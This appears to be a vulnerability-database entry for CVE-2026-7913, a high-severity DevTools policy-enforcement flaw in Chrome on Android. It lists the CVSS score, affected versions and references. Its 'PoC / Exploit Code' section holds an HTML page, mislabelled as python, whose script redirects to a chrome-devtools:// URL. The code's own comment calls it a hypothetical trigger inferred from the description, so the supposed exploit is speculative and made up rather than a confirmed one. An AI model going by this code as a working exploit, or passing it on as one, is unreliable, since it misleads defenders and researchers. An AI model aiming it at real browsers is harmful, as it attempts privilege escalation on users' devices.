CVE-2026-7913

Description

Insufficient policy enforcement in DevTools in Google Chrome on Android prior to 148.0.7778.96 allowed a local attacker to perform privilege escalation via a malicious file. (Chromium security severity: High)

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7913 -->
<!-- This file demonstrates the trigger condition for the policy enforcement issue. -->
<html>
<head>
    <title>CVE-2026-7913 PoC</title>
</head>
<body>
    <h1>DevTools Policy Enforcement Test</h1>
    <script>
        // Attempt to access DevTools internals which should be restricted
        // In vulnerable versions (< 148.0.7778.96), this bypasses policy checks
        try {
            // Hypothetical trigger for the vulnerability based on the description
            // Simulating an action that requires policy enforcement
            window.location = "chrome-devtools://devtools/bundled/inspector.html?experiments=true";
        } catch (e) {
            console.log("Failed to trigger DevTools bypass");
        }
    </script>
    <p>If DevTools interface opens unexpectedly without user initiation, the device is vulnerable.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7913
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7913
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7913/
[4] VulDB https://vuldb.com/cve/CVE-2026-7913
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/497936728

Raw JSON Data

JSON

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